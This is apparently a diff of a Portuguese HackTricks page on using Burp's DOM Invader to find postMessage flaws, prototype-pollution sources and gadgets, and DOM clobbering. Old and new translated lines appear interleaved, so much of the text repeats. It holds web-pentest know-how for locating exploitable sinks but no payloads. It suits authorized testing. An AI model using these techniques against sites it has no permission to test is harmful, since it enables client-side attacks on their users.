Você pode clicar em cada mensagem para ver informações mais detalhadas sobre ela, incluindo se as propriedades `origin`, `data` ou `source` da mensagem são acessadas pelo JavaScript do lado do cliente.
* **`origin`**: Se as informações de **origem da mensagem não forem verificadas**, você poderá enviar mensagens de origem cruzada para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
* **`origin`**: Se as **informações de origem da mensagem não forem verificadas**, você poderá enviar mensagens entre origens para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
* **`data`**: Aqui é onde a carga útil é enviada. Se esses dados não forem usados, o sink é inútil.
* **`source`**: Avalia se a propriedade de origem, geralmente referenciando um iframe, é validada em vez da origem. Mesmo que isso seja verificado, não garante que a validação não possa ser contornada.
#### Responder a uma mensagem
1. Na visualização de **Mensagens**, clique em qualquer mensagem para abrir a caixa de diálogo de detalhes da mensagem.
2. Edite o campo **Dados** conforme necessário.
2. Edite o campo **Data** conforme necessário.
3. Clique em **Enviar**.
### Poluição de protótipos
### Poluição de Protótipos
O Invador DOM também pode procurar por **vulnerabilidades de poluição de protótipos**. Primeiro, você precisa habilitá-lo:
O DOM Invader também pode procurar por **vulnerabilidades de Poluição de Protótipos**. Primeiro, você precisa habilitá-lo:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Em seguida, ele **procurará por fontes** que permitam adicionar propriedades arbitrárias ao **`Object.prototype`**.
Se algo for encontrado, um botão **Testar** aparecerá para **testar a fonte encontrada**. Clique nele, uma nova guia aparecerá, crie um objeto no console e verifique se a `testproperty` existe:
Se algo for encontrado, um botão de **Teste** aparecerá para **testar a fonte encontrada**. Clique nele, uma nova guia aparecerá, crie um objeto no console e verifique se a `testproperty` existe:
```javascript
let b = {}
b.testproperty
```
Uma vez que você encontrou uma fonte, você pode **procurar por um gadget**:
Uma vez que você encontrou uma fonte, você pode **escanear por um gadget**:
1. Na visualização do **DOM**, clique no botão **Procurar por gadgets** ao lado de qualquer fonte de poluição de protótipo que o DOM Invader tenha encontrado. O DOM Invader abre uma nova guia e começa a procurar por gadgets adequados.
2. Na mesma guia, abra a guia **DOM Invader** no painel DevTools. Uma vez que a varredura é concluída, a visualização do **DOM** exibe quaisquer sinks que o DOM Invader foi capaz de acessar através dos gadgets identificados. No exemplo abaixo, uma propriedade de gadget chamada `html` foi passada para o sink `innerHTML`.
1. Na visualização do **DOM**, clique no botão **Escanear por gadgets** ao lado de qualquer fonte de poluição de protótipo que o DOM Invader tenha encontrado. O DOM Invader abrirá uma nova guia e começará a escanear por gadgets adequados.
2. Na mesma guia, abra a guia **DOM Invader** no painel DevTools. Assim que a varredura for concluída, a visualização do **DOM** exibirá quaisquer sinks que o DOM Invader conseguiu acessar por meio dos gadgets identificados. No exemplo abaixo, uma propriedade de gadget chamada `html` foi passada para o sink `innerHTML`.
## Clobbering do DOM
@ -100,10 +100,10 @@ Na imagem anterior, é possível ver que a varredura de clobbering do DOM pode s
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>